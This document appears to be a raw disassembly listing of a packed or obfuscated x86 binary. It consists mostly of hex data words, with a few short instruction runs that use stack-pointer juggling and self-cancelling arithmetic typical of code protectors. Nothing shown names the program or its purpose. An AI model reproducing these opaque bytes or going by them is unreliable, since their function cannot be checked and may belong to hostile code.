dd 0Bh dup(0) dd 0AB4E900h, 16680000h, 0E90619D6h, 0FFFA7328h, 19D6C768h dd 731EE906h, 0C768FFFAh, 0E90619D8h, 0FFFA7314h, 19D99368h dd 730AE906h, 1668FFFAh, 0E90619DBh, 0FFFA7300h, 19DC9668h dd 72F6E906h, 8468FFFAh, 0E90619DDh, 0FFFA72ECh, 0C8BAF515h dd 146E419Ch, 0C11F8C60h, 10723DD1h, 0C0227D64h, 537E1E10h dd 0C92E564Ch, 779400E2h, 0C2264E34h, 21E5F7E9h, 8D3C3FA9h dd 0F5200D42h, 894A6177h, 0F4CEDDFBh, 72E641DBh, 6EDA7266h dd 5E4494E8h, 2B7E0E2Ch, 0E13EA1F6h, 0E25A729Fh, 0FFBD7802h dd 4D5E7919h, 0AD466A4h, 0E1696D41h, 0BD780277h, 85F50345h dd 48CA0676h, 6A1Ch, 17FBE900h, 3F4B6077h, 4494E8D5h, 55F561A3h dd 4494E8E3h, 5C91A7D9h, 0D2DD31C2h, 371FE921h, 0D4664597h dd 0BD5D44C4h, 0F92B3EA1h, 3B5CC4B8h, 953CBD78h, 16BBC90Ah dd 2D8D4889h, 0BF9F0224h, 52FADEB2h, 0BD783BE6h, 0F68694D6h dd 48CA23C7h, 0EC8Bh, 0F7977B00h, 53C5C5DAh, 39BD7837h dd 0F4C60BA4h, 0CBE0F870h, 77D8FBFDh, 0FB894A61h, 377493D6h dd 38D84071h, 0A6EE0C9Fh, 1CA86942h, 0D991EFBCh, 4494E5A5h dd 6CB445A3h, 0ED05C71Dh, 0CB3D2DE8h, 0C1BB6BBEh, 2B57497Fh dd 1DCAF8CDh, 387DB870h, 0BBD74172h, 6B92D94Bh, 56DAFBBh dd 3936C4E7h, 7C14042Fh, 86F29A5Fh, 76BB6B92h, 0B4647634h dd 5EA43914h, 279FB3C1h, 0BD7884BDh, 43BF598Bh, 2F7926CBh dd 47E27C51h, 2E5437CFh, 4E42C74Ch, 422A4ABEh, 32CA42B7h dd 0AA432F79h, 0BCEECC05h, 722DD43Ch, 227D6410h, 0FF7401A9h dd 66634C70h, 84Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh dd 19FDCFB1h, 8D3E0771h, 0CDF8F542h, 5B455A77h, 0E8DAD127h dd 0DD48D2BDh, 0BDEAD179h, 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h dd 24EE1D8Dh, 9AB448CAh, 61000000h, 0FA146177h, 0D6BEF3B5h dd 0C84742Bh, 3320BAE5h, 94E5E599h, 0F0856344h, 0AC5E9318h dd 0F810845Eh, 31CB43B3h, 7781397Ah, 70BBC55Ah, 250D0088h dd 83EBC15Eh, 3C8E4368h, 0A1BB146Eh, 0E6FA9286h, 16C74CABh dd 5EC64D4h, 953C289Ah, 0F7D3810Ah, 153E70FFh, 79D74h dd 139C3E00h, 8728C5ADh, 18936919h, 8B24BAAAh, 1B846D15h dd 8705F9A5h, 174B356Ah, 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h dd 3E26923Ah, 1916428Dh, 455A77ECh, 0DAD1275Bh, 7B9000E8h dd 0B1478330h, 7A93FBA2h, 0BC3E7C35h, 0CF58058h, 289C5593h dd 1E5DBD0h, 822F7091h, 0E882F696h, 487A4494h, 0ED777882h dd 1C30665Ch, 0EA6277D4h, 4494EE7Eh, 1CCE1C4Eh, 0AC1C381Ch dd 4494EE38h, 0C04CCE10h, 3EA1F3C5h, 544071B3h, 0D989F7B4h dd 5567ACFFh, 44A239CEh, 5CB4BD1Dh, 21512F7Ch, 9D2FE4C7h dd 36322726h, 0C646D2Dh, 0B1E1BFECh, 0BCE45457h, 0B66DA655h dd 98A96E35h, 0F0DFBF63h, 2B2C13AFh, 0F456E4A4h, 0F35BEDE6h dd 0C9229219h, 3FD931E2h, 603040CBh, 0EBF86697h, 4C367593h dd 0D2CD349Ch, 0C34FE921h, 0BDB85025h, 0A5658E21h, 8E5CAE63h dd 67DFF365h, 363248FDh, 6E7F99CBh, 0F9DD59D4h, 0D2B8459h dd 746B67Dh, 7688084Ch, 0D6427839h, 773C236h, 7288BA28h dd 0E868D012h, 0A05A9714h, 73A410B8h, 52942807h, 0FB855AC8h dd 94CCC830h, 84AE8A24h, 0E0B8224Ah, 0E451E81Ch, 16B913AFh dd 0BB432317h, 0FE22ED1Dh, 0A8AC5232h, 0D6D6C928h, 22EB1A62h dd 2A74425Ah, 0D3C4D13Ah, 3D7F0315h, 8A339D9h, 0E8E9EFCBh dd 0EB636DD4h, 9D27822h, 59676A99h, 35530D7h, 86E50000h dd 0C16CF661h, 8C1FBD55h, 0E888FC8Ch, 3E804494h, 156CDCBCh dd 873EA1FAh, 21B7F407h, 473F9FE1h, 3A7B5491h, 0E5C3DB03h dd 3EF56CBDh, 48A9B3BCh, 4B6FBB0h, 524652C6h, 4A634EBAh dd 32D63E3Ch, 48823879h, 64FB5AB2h, 0C7F9467Fh, 0E04BD50Ah dd 8A445C78h, 4E572884h, 567B0F29h, 0D04C5439h, 0AAAEAA8Eh dd 0D1D9D22Ah, 28205167h, 4D9F1355h, 0A038DC5Eh, 0BED950Bh dd 6A6B2BA0h, 0F5DEE9DDh, 59DD4h, 139C3E00h, 8728C5ADh dd 18936919h, 8B24BAAAh, 1B846D15h, 8705F9A5h, 174B356Ah dd 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h, 3026923Ah, 1916428Dh dd 0DD48D2ECh, 19F55D79h, 0E8F064E4h, 96C84494h, 0CD6B9F54h dd 0A1F55A3Dh, 0E50E503Eh, 619219EFh, 0C2BF8C52h, 8D896DB8h dd 3970189h, 2365BD78h, 1F927515h, 5688C74Dh, 0FE647C6Ch dd 0AC767445h, 0BC1C7882h, 408A25B9h, 0C4E70193h, 13E07E0Fh dd 348E1DBBh, 0FF0D9928h, 241BD42h, 0D2960000h, 0D179DD48h dd 3EACB446h, 8E06F234h, 1E463C63h, 2127ECB3h, 2D9D50B1h dd 0BD72C4BBh, 58994F91h, 9BF498A2h, 8D1C20BCh, 30EC5A6Bh dd 32868292h, 572DF378h, 0D7C0770Fh, 4D1E2h, 0BFF00A00h dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h, 315ACE3Eh dd 3532428Dh, 0DD48D208h, 0B446D179h, 0BC343EACh, 995A901Bh dd 4DECD2Bh, 7E337890h, 0F8B9F216h, 0A4FCC585h, 0A315B544h dd 99BD72C4h, 3B3FA167h, 48C0DC8Ch, 19ED2h, 61778300h dd 0DDFB894Ah, 0E838AC1Ch, 0CE104494h, 6CA506E6h, 59665C8Eh dd 54F464CFh, 3EA1F6C1h, 8328C34Bh, 265E7C4Eh, 0E86074E4h dd 0BD78027Ch, 0D3001A4Ch, 780243B9h, 0F0BB51BDh, 43B555C3h dd 39BD7802h, 56738B07h, 337480E2h, 0CE03C500h, 429AA717h dd 0DBC604ABh, 0C7F66673h, 1148CA68h, 64138505h, 0DEF9BD78h dd 0DEE624CDh, 0D1179876h, 33C947h, 0D27A0000h, 5D79DD48h dd 0DC5CD845h, 21B76AB1h, 0A104F2E9h, 658ED03Eh, 7965F167h dd 854EECBDh, 0CB7DE615h, 0CAAC48h, 0B89C0000h, 7969A410h dd 0C85294BDh, 4A61778Dh, 0D642CACEh, 0A64494E8h, 77DD664h dd 88FCB5EAh, 92763B70h, 0DC6E502h, 11E72BADh, 50C0289Ah dd 0A3E7F1BEh, 4494E5FBh, 1800AB4Dh, 0BAF0A0C8h, 0E0E430DAh dd 0C84C786Ch, 0F41480B4h, 3AC0FAB7h, 7E9000E8h, 0B04A8031h dd 8E8AA5BFh, 5F629CFEh, 10B89CC1h, 0BD7D96A4h, 0EAB51C94h dd 0D117D129h, 9B04ED65h, 0B943D25h, 122FB47Eh, 55745F77h dd 34Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh dd 19FDCFB1h, 8D330771h, 0CDF8F542h, 0F3935A77h, 4494E881h dd 31365F77h, 0BFFBB532h, 0B1E1BF09h, 476E5457h, 367593FBh dd 57BB3D7Dh, 0DBE92A81h, 0FBD4AEFDh, 0BA52C661h, 3EA1E6F3h dd 4A426FB1h, 0BD7813D0h, 535019B9h, 52FA5EC9h, 0C74D1D5Bh dd 3DA91749h, 3B7833D5h, 775A797Fh, 0FB894A61h, 0DBF4CEDDh dd 6672E641h, 4254843Eh, 49CF5BC5h, 0A12E76C1h, 147C983Eh dd 4EBAB2EDh, 4EBD792Ah, 0F5D5FEADh, 8D8E556Dh, 535249C6h dd 0BDFF8395h, 90007814h, 3D1DBD79h, 9435C434h, 395948CBh dd 2A000000h, 79DD48D2h, 0A1BDEAD1h, 7E46C3Eh, 3CEE5AF2h dd 0ACDEBD78h, 0C355B55Eh, 7B30C73Fh, 9008842Dh, 8DBD783Ch dd 8534A4ADh, 4F48CA24h, 518229BFh, 0EA315F79h, 0E2000000h dd 0CE4A6177h, 7C865A96h, 26B4E574h, 653A972Dh, 0EBC018ACh dd 713A9E26h, 90B7E70Fh, 0DCFD280Ch, 69157583h, 0DF449479h dd 5440A209h, 25BAF7B4h, 2C28101Bh, 9F7B73F4h, 0AD4BDE83h dd 0A1BBDA5Dh, 8058D03Eh, 0EA03DD2Bh, 7561D550h, 8DABF4DDh dd 4D736BFDh, 0F75FA1C7h, 0FE089AA7h, 98A2D58Ah, 0AEF11080h dd 482DCA4Ah, 2B8F9B6h, 29AF0BC8h, 39668BF7h, 0FFC46C30h dd 8D2C1770h, 1CEh, 0E0C2ED0Dh, 6C5659B4h, 0D9C7E4F8h dd 685A55A9h, 0D8CAD5FCh, 2BD676E8h, 81660E74h, 2FCCB82Ah dd 7A5E067Ch, 997D4F31h, 8D3487F1h, 4D787542h, 0FE0F5A77h dd 701800B1h, 4494E804h, 0B2F8B2F4h, 4EBA5246h, 3E4494E8h dd 0BE50D80Ch, 5AFF2A2Ah, 0D63262C0h, 17FBEBD5h, 9488056Fh dd 0C5EA0344h, 0F4078BBDh, 3AC0FAB7h, 0DD48D21Bh, 0BDEAD179h dd 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h, 24EE1D8Dh, 0ACB448CAh dd 61000000h, 894A6177h, 8C9D6FBh, 94E5CA74h, 2B9A3E44h dd 58ADC8F3h, 0CCDFFC8Ah, 0B3F5B307h, 6843A5CDh, 59EA74ABh dd 6BAEBFCEh, 6FE72104h, 5ED35CD7h, 0AA184AC1h, 38200B15h dd 4B9EA590h, 54A727C7h, 0DA609A57h, 9E2BC22Ah, 0F7135EF3h dd 0C809BFE2h, 0D040B8F2h, 60146E31h, 0B1AD1E81h, 8470FEBCh dd 0E01E9Bh, 0DFFB0000h, 6B82F2D0h, 0D6365E44h, 6777EBD5h dd 0C72A5A48h, 40B6EAD8h, 87A25CCh, 52307B5Ch, 0E2C922h dd 49377494h, 89FB8B73h, 7F428D35h, 5A773B82h, 0D1275B45h dd 0A16744A4h, 630A6DB5h, 85505F1Ah, 0FB862D73h, 7D55F3E3h dd 87FF7D79h, 44945B1Dh, 0E9EFB9EBh, 0C8264FA9h, 0E4F021E7h dd 0A439A704h, 0ABA78F9Ah, 3C35D473h, 3B37CA71h, 28E20F9Ch dd 0C7237A12h, 9FE13EACh, 25866272h, 7A31C7BBh, 38E84339h dd 4FEFDADEh, 0C726AE82h, 0A0515AB2h, 0FA9AA06Ah, 7FF3CDDEh dd 87914269h, 1FB9F607h, 6AE21BF3h, 9CEC30FEh, 307EEA62h dd 1C4E9CECh, 5F945688h, 0B8504454h, 9CEC304Ch, 30CC38D0h dd 8ABC9CECh, 0AC32C8FAh, 0FAB1479Fh, 0AFFCDC88h, 88702h dd 1910000h, 1A39BFE0h, 63775940h, 0DBFD874Ch, 5AB123D0h dd 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h, 0D12B995Ah dd 52AB19DAh, 5652B45Dh, 0C681E689h, 4, 8704EE83h, 248B2434h dd 0F4B6824h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, 34087487h mov ecx, 0D2116017h sub ecx, 3D862BAFh add ecx, edi add ecx, 3D862BAFh pop edi push 479Eh mov [esp], esp add dword ptr [esp], 4 pop ebp push eax push ecx pop eax mov [ebp+8], eax pop eax push dword ptr [esp] pop ebp add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_590A54 ; --------------------------------------------------------------------------- dw 2DEh dd 44E5F2A0h, 89B889A3h, 30619DEh, 0C1E0FFC5h, 1D2D5373h dd 0C47CD0C1h, 0D518FFB4h, 40278ED0h, 0A96999D8h, 4B37E250h dd 5E5CCEDFh, 372B0B64h, 0D1CB0A4h, 0E463E273h, 968AEA4h dd 11E1F6Ch, 0E11107B5h, 502EE77Dh, 5A28E66Ch, 3F1BFC73h dd 0B44F6238h, 0A61FD922h, 1604C373h, 0F87D367Dh, 285B3343h dd 5B6D5909h, 0E12728EAh, 0E8799C8Bh, 0Fh, 0ABE8EEh, 133577C7h dd 0CC6673B0h, 80826B61h, 0E85F42D7h, 14h, 60B34321h, 947B51D2h dd 175EABAEh, 9FA4159h, 2715B74Fh, 0D6816660h, 0E2BBED6Ch dd 613E9382h, 28C78159h, 66000059h, 2B2A19B9h, 8BDF8BF6h dd 0E1813704h, 257A432Eh, 8E9F081h, 0F38079A6h, 0F4C0816Ah dd 0F2F22A0h, 685h, 8DD28100h, 817D04C0h, 26C653C0h, 12E938h dd 0C3B70000h, 0B0850DDEh, 0A5CC6A15h, 0E9396BD6h, 0C25243Bh dd 8A370489h, 81D981DCh, 830C0B05h, 8E0F03EEh, 4, 0FE9DB966h dd 0EE94Eh, 817E0000h, 0BD605DAh, 0C74B524h, 0E7C6F35Ah dd 0A7D8FE81h, 850FFFFFh, 18h, 48A0Fh, 0BA660000h, 35E996C0h dd 45000000h, 21B31208h, 3D5A9E9Fh, 0FE9h, 0AB104900h dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 0FFFF56E9h, 0F2183FFFh dd 4A50710Dh, 71531DF6h, 959EA0BEh, 0D1719CB9h, 21E9h dd 91234400h, 38h, 6 dup(0) dd 0B4E90000h, 66000004h, 7A607ED8h, 624866E8h, 7C5E7CCEh dd 634565EBh, 6D607ED6h, 381CA9C2h, 2A28B89Ah, 3711A68Ch dd 2C20B197h, 6B9AC58Eh, 16B794EFh, 0BDFD61B8h, 6D51E06Ch dd 745674E0h, 664C6BE1h, 0F4737DD7h, 0EECD7FD2h, 76C396C9h dd 4466AC7Ch, 8B0A5BF1h, 0EA0A241h, 345EF140h, 0F25AEB97h dd 315BEDD5h, 9E2962BCh, 8BEA2B10h, 9A2D1341h, 952A10AEh dd 9E2D5EF0h, 0A3B2D3B2h, 26FC7BA4h, 0C21C608h, 104292C4h dd 68E10B41h, 0EC5D25BAh, 1E01147Dh, 2280E1h, 0C58BDCADh dd 0AC265774h, 75109E73h, 41107110h, 9E7451B0h, 0CB40CA10h dd 4155D3A1h, 3E8DB5A3h, 6853CA12h, 64000000h, 26D9DA3Bh dd 636DCF61h, 0E06CBDF9h, 0B4A42051h, 0C619109Dh, 0A9BC73E1h dd 9E84DA34h, 3D62A310h, 0E9F3E4E7h, 32022A9Fh, 9AA34196h dd 1, 0E16DBDC0h, 0ACDC6E50h, 0D6D11547h, 0DC6D0C5Fh, 582169FAh dd 466AA82Ch, 3EC743B2h, 0D90109Eh, 0C41E4F6Ch, 8D109E3Eh dd 87D86908h, 72C46E0Bh, 89DCFEDCh, 0BD45E3C3h, 314D1E70h dd 0A6B924C3h, 25476C7h, 86D9FD4Ch, 14F73C2h, 0A2CC0051h dd 3CD63C29h, 0CBC613BFh, 17B7D67Eh, 6AE41936h, 9E109DCDh dd 93F2430Dh, 557741C4h, 0D5F94804h, 5476C783h, 0D6F849FFh dd 937BCA84h, 489184F5h, 411F4DBEh, 0E9A341F0h, 60h, 0E470BD4Dh dd 6BDF7155h, 700989DAh, 0C2E173C2h, 0A83C4DE0h, 137293A2h dd 0DBF9C342h, 5DEC68F5h, 0D766EA79h, 0E507840Eh, 0A341E807h dd 46AFh, 0E0C29300h, 95B7014Fh, 193D0C48h, 0E070BFC6h dd 3F8EB081h, 0B3024415h, 0D33F90A1h, 666C4F36h, 0C4901DD5h dd 77E6C9E6h, 109DB51Bh, 0BD17A1E4h, 50E16DBDh, 9DB4A021h dd 791910h, 41EA1CDCh, 1C4A3h, 0C29A0000h, 0B51670E5h dd 0BEDF109Dh, 0F4902436h, 76F5091Bh, 96355455h, 0A12B21B4h dd 9FAD0042h, 74EE1F40h, 3D109E30h, 7B5110D8h, 76CA7811h dd 0AFBAF6D4h, 86CFF8D7h, 781D7AE2h, 0BB2A27B1h, 168F1AEAh dd 0E7EB7A9Bh, 0F1D9F656h, 0F5E3ED61h, 0EDCA82D3h, 8DDC78C5h dd 0D425C40Ch, 0A8B1978h, 63496EB1h, 9716A104h, 0F18A04CCh dd 7E5CF041h, 0F243095Ch, 7ECF7DD0h, 0D181FA98h, 56EECC80h dd 5AACAC86h, 5EF04268h, 1020F96h, 0A3330000h, 7AEBC8BEh dd 168EBC37h, 0DFFC4DD0h, 464FC6F8h, 7D47DD9Bh, 64420A5Bh dd 57E55C43h, 0A755702Fh, 71553414h, 0BBDA6BDFh, 0BE8E1F31h dd 0E2A93921h, 419EFF51h, 8A7052CCh, 0F2FA1B0Ah, 4EFE4F73h dd 53F74971h, 9634DA89h, 70DC6D25h, 513AFA52h, 38A25AADh dd 35000000h, 0C594C00Dh, 7B1A2E81h, 0BCA3E771h, 0FA74E9C6h dd 736F624Bh, 0FE4FFF4Fh, 7598559Fh, 0B53995E4h, 513B909Dh dd 8BF7F0B8h, 4C3DB92Ch, 0C746EF62h, 72C8E7h, 0A3660000h dd 7AEBC8BEh, 168EA18Fh, 0AC265778h, 750A8AA0h, 0DEE07110h dd 84A1014Bh, 0F3420C9Eh, 0B5084A92h, 0BE123897h, 54A5448Ch dd 0A8AA0F3h, 752D9E34h, 4E4A68E4h, 73547313h, 864EFE4Fh dd 713F0807h, 0A1B0D510h, 307D0C9Dh, 0E0F44524h, 164B1DAEh dd 0DC6F5370h, 17BCDD6Ch, 228F2E8Dh, 2734BC1Ah, 5847D9B6h dd 0CCA1A60Ah, 0B1C63CB1h, 0FB557514h, 0EBC8BEA3h, 84549D7Ah dd 1A2B6A16h, 7A7A538h, 4F820126h, 1943B592h, 202C7DCFh dd 3E0E9F83h, 12C637B6h, 4B27FBCCh, 0B19B2E14h, 2D5761A0h dd 3353E69Ch, 1ACEDF32h, 0F5D5B4F9h, 0B80782D3h, 0F5DAF998h dd 83152BFFh, 0D6955F41h, 5CED63F4h, 0D564E67Ah, 722A64F1h dd 4D339EB7h, 5B7FCEAFh, 81F1420Ah, 45C71D08h, 0A1ABFEB4h dd 0BE8E1F01h, 0A5A93921h, 391CC1Bh, 2D000000h, 71BDE17Bh dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h, 0C681E689h dd 4, 4BF57h, 0FE290000h, 2434875Fh, 7C6C685Ch, 14890000h dd 10056824h, 34890000h, 43BF5724h, 47640716h, 2FD3EF81h dd 0F7813475h, 11D8380Dh, 538BBA52h, 0D7314405h, 8E7C15Ah dd 1657EF81h, 0FA894674h, 4EC815Fh, 89000000h, 4812424h dd 424h, 0B8505E00h, 8, 1089F001h, 8324048Bh, 348B04C4h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch dd 4C4815Ah, 0E9000000h, 0FFF99C08h, 0B8AFC356h, 619E4C9h dd 0E0FFC503h, 259E9D1h, 36A94A46h, 703D3D76h, 0FACE833h dd 490F8577h, 6CB50F31h, 658BFED2h, 5533B7D8h, 3E1418D9h dd 722DEACEh, 32E9h, 0B92BDE00h, 8, 0Ah dup(0) dd 0E9000000h, 4B5h, 19E6C668h, 9B8EE906h, 3E68FFF9h, 0E90619E7h dd 0FFF99B84h, 19E8CA68h, 9B7AE906h, 19A5FFF9h, 2BBB9D3Dh dd 0B9D8323h, 2AB99F3Fh, 13A28826h, 0FD326141h, 0B3134190h dd 0B3133F8Dh, 0B00E3A8Dh, 0B515378Ah, 0D832A3ACh, 0A116B799h dd 70BDD688h, 0E07155E4h, 0F1684F6Ch, 8DC71696h, 0E215F826h dd 0A5BCFCDAh, 3693C2E1h, 0FF168F19h, 0AF90CF9Eh, 45143C8Bh dd 173995C4h, 0BD020A8Bh, 6BD89B30h, 0CA127368h, 8B1CDB3Bh dd 63D8320Ah, 0AC827B39h, 303E35Ah, 0B9770000h, 0DBABB6DFh dd 0A5E889FCh, 3E69168Eh, 0CD31E8DBh, 2AB701A5h, 0F3D708EBh dd 3958E961h, 3E6950AFh, 469BE7E5h, 0FFF26340h, 0F81315A9h dd 0C0143695h, 0A73D99CCh, 87060711h, 0AE3657E6h, 9EE8013Fh dd 80F9CC41h, 55720D02h, 0FE6CA620h, 4F2E6F00h, 55F74A70h dd 4A025375h, 82B2AA17h, 3510D776h, 333h, 0BF1F3783h, 0A5054999h dd 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh dd 0F0436545h, 5587A58h, 755A6747h, 0B79A8600h, 68DA4F16h dd 0EBC8BEA3h, 8451B17Ah, 98375616h, 0DB6E23B2h, 1FB8F5ABh dd 0ABCAE310h, 0BD1A7B9Ah, 3B0A4695h, 0E664F8DAh, 0B0AE3657h dd 48193B8Ah, 0B595270Bh, 0A7BDC2Bh, 2ABBE949h, 0E081D15Fh dd 8B91A6Dh, 59743380h, 2BBh, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh dd 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh dd 0DD705270h, 5D824F6Fh, 0B79BAE28h, 40227716h, 6602BEA3h dd 9D87A276h, 0B6A4644Bh, 4B7D7B5Ch, 3BAA8D2Ah, 109E83DFh dd 7E5B65A8h, 63E77961h, 20412A59h, 0E9E61685h, 849E1A74h dd 3DCE30Ah, 0AFDA0DD8h, 39086908h, 84124AC8h, 0D465A10Ah dd 25C8FC23h, 6A4A7450h, 0B03AFA62h, 0A2A25AA7h, 0B8000001h dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 0AD295C7Bh, 76109DB4h dd 0C4BBB017h, 3632A84Dh, 8D225FAEh, 6AAB168Fh, 892CAADBh dd 7830A8Bh, 328A4A72h, 466C5AACh, 0C90D5CF6h, 786D77Bh dd 43475E66h, 98000000h, 0A83022B2h, 4CE0C22Eh, 92A3AB3Bh dd 1FB01273h, 0D7E12031h, 0A30086DBh, 8E985332h, 50E12416h dd 8A87A121h, 0FD8EF80Ah, 0AD3901CFh, 0D9A95Ah, 280A0000h dd 0C86F793h, 0D50A8A94h, 180D1B0h, 6CBD1DB7h, 0B557B322h dd 0FD20109Dh, 0B18ECD9Ch, 9DB4E23Ch, 75A4AB10h, 60FC8F9Bh dd 2B2DB7D6h, 0A3A7B69Eh, 2C2B3A12h, 0C899B306h, 0FC4D7F49h dd 61037250h, 0E1109E70h, 0E2DEFC50h, 0FFE0FF87h, 0D7FF8DDBh dd 0E4D5298Fh, 8AC998F9h, 9EB0FF5Bh, 2445C810h, 0ED76D9Ch dd 0B1D41689h, 0F0A13012h, 3F5EEF5Dh, 33024A9Bh, 2D13B3D2h dd 4932EEA0h, 0BBD40FE6h, 0E485C517h, 0DF42071h, 4B862580h dd 12Fh, 0BB1B3B87h, 0A9094595h, 0B5153587h, 0AE0C4493h dd 0B7173D8Ch, 0F342AB84h, 0D15F4161h, 0ACFF2181h, 0C91C3E9Ch dd 39162383h, 0B79D4AC4h, 64FE1316h, 0B72670BDh, 109DB55Bh dd 4211418Fh, 0FE4EDFC3h, 0C8193F9Fh, 0BD8C2684h, 0BF8B1D6Ch dd 3F0E6FAEh, 2482CA1Bh, 2A89FDE4h, 8EFBE6BBh, 617E9F16h dd 6AA2EC79h, 3317A9B9h, 0C35E138Ch, 8B1D05A2h, 506FAEBFh dd 8A37C11Dh, 0C10B8A0Ah, 37E26093h, 8B1E0A8Ah, 72BFE1C1h dd 8BDAC5E2h, 2F5B79E4h, 0DBF6757Fh, 97h, 0C8BEA377h, 51AD7AEBh dd 755A1684h, 91F3B71Dh, 93305123h, 0AA3222AFh, 0A5331C3Bh dd 75A15F33h, 0C9DAF39h, 5A456240h, 0D55E4EB2h, 0E5E7F11Ah dd 6A69F854h, 756F448h, 0EB3995C8h, 83020A83h, 4DABDAE2h dd 0D61823ACh, 0E2731F9Ch, 0D3664C6Ah, 0CCEBE879h, 0E32A3D99h dd 3D8706FBh, 3EBECC1Bh, 0CB87D525h, 1AA1BCE4h, 0E2765C7Bh dd 30B8D968h, 0A1BE9BB1h, 0E3A3F26Ch, 925ABBFBh, 7ECF83F8h dd 77CAF0CEh, 0C4984D5h, 0E5000000h, 0B1795E7Bh, 0DC994F71h dd 0BD2DA731h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 66A368h, 240C8900h, 763768h, 24348900h, 2D4568h, 240C8900h dd 0E5E8B951h, 0CE890619h, 83240C8Bh, 8B5404C4h, 0C481240Ch dd 4, 3F7A68h, 24348900h, 0FF08418Fh, 83592434h, 348B04C4h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 96EAE95Ch dd 2895FFF9h, 86A82B8Eh, 0EA1EB8F6h, 0C5030619h, 0F12CE0FFh dd 0DCE1270Bh, 29157121h, 7921086Bh, 15E90333h, 0A7F37C56h dd 2D1F6B2Dh, 152374C6h, 6C44F5Dh, 86834982h, 1EFC0AF0h dd 0F35E5052h, 0F162081Ah, 657A7146h, 9AFD7FC7h, 36262163h dd 0B45F5F6Ch, 0E21466BCh, 0B5405A68h, 0C73E5AE9h, 21124D1Ah dd 76595204h, 12B61F98h, 0E07B4DDBh, 79B30A2Fh, 0CAB8610Bh dd 0A5C419F6h, 3063E84h, 2FA41166h, 8D8D2C03h, 619EBD7h dd 8967C080h, 131BBD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 4B8A1EADh, 9D8BD301h dd 6130B35h, 18DD85C7h, 6B400613h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C7BB54C3h dd 13305585h, 6, 0C19D0900h, 8B06132Eh, 1331A595h, 1B5FF06h dd 6A061321h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8101C350h, 7B5B2AFBh, 0CB81A3A6h dd 43D57B78h, 0FFD68B66h, 131D8995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 74F952E6h dd 635E5F90h, 2825958Bh, 6A0613h, 0DA995FFh, 0C08B0613h dd 1F4B38EBh, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh dd 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 1CC58E9Ah dd 9E25CE92h, 0D9D7D840h, 75968FF3h, 82598655h, 8D8DE4CFh dd 619ECDEh, 35607BB8h, 659D3178h, 89061316h, 131BBD8Dh dd 0EDB58906h, 8B06131Fh, 0DD85C7C3h, 50061318h, 0BA000066h dd 421A393Dh, 305585C7h, 613h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 408AC5C3h dd 0AE9h, 6BCAF100h, 45B474BDh, 0FFE9C8E8h, 1331EDB5h dd 8995FF06h, 6A06131Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B14C357h, 130D11B5h dd 14E806h, 0C33F0000h, 8DB49C66h, 0FDD8B6A4h, 383EA6CCh dd 0D7179C77h, 0E957829Eh, 0Fh, 0B91CDA6Eh, 0FA1377B5h dd 0CBCFCF13h, 5EAE1265h, 0FF006A58h, 130DA995h, 0EBC08B06h dd 0F4B03E0Ch, 0DD37AE68h, 2F44A154h, 10E834h, 8B690000h dd 0D86B2786h, 98E8F518h, 7ACDCB57h, 0F98B905Eh, 0D7C18159h dd 68000064h, 0 dd 0CE8h, 620F1600h, 276FFEC1h, 0C5C541CAh, 0E5BD8901h dd 5B06131Dh, 0E7816658h, 34FF9E04h, 0D3BF0F08h, 0E1BB665Eh dd 2CC681ABh, 0E8160661h, 7, 0D6F8C4BAh, 333DB2C0h, 1322C59Dh dd 0C6815B06h, 4A1B2C11h, 2179BD89h, 0F6810613h, 561568A4h dd 25EDBF66h, 48FF956h, 0C3816601h, 0E8816F59h, 0D5EC05Fh dd 61DBD8Bh, 0C0810613h, 0D5EC05Bh, 359D8B57h, 5B06130Dh dd 9BD0F881h, 850FFFFFh, 0FFFFFF96h, 5AEB8166h, 12E8A0h dd 57F40000h, 3C80D107h, 526C7F93h, 0C7B63D17h, 0DAAA8B9Dh dd 0D820Fh, 8E90000h, 0A9000000h, 1E5E4074h, 58F1E435h dd 81E6CD80h, 734DC0h, 78BB6600h, 60F6331Eh, 0C480F18Bh dd 34FF61F4h, 0E1B3BA06h, 0E85F2371h, 14h, 68F275F5h, 63CF57ECh dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 28F0Fh, 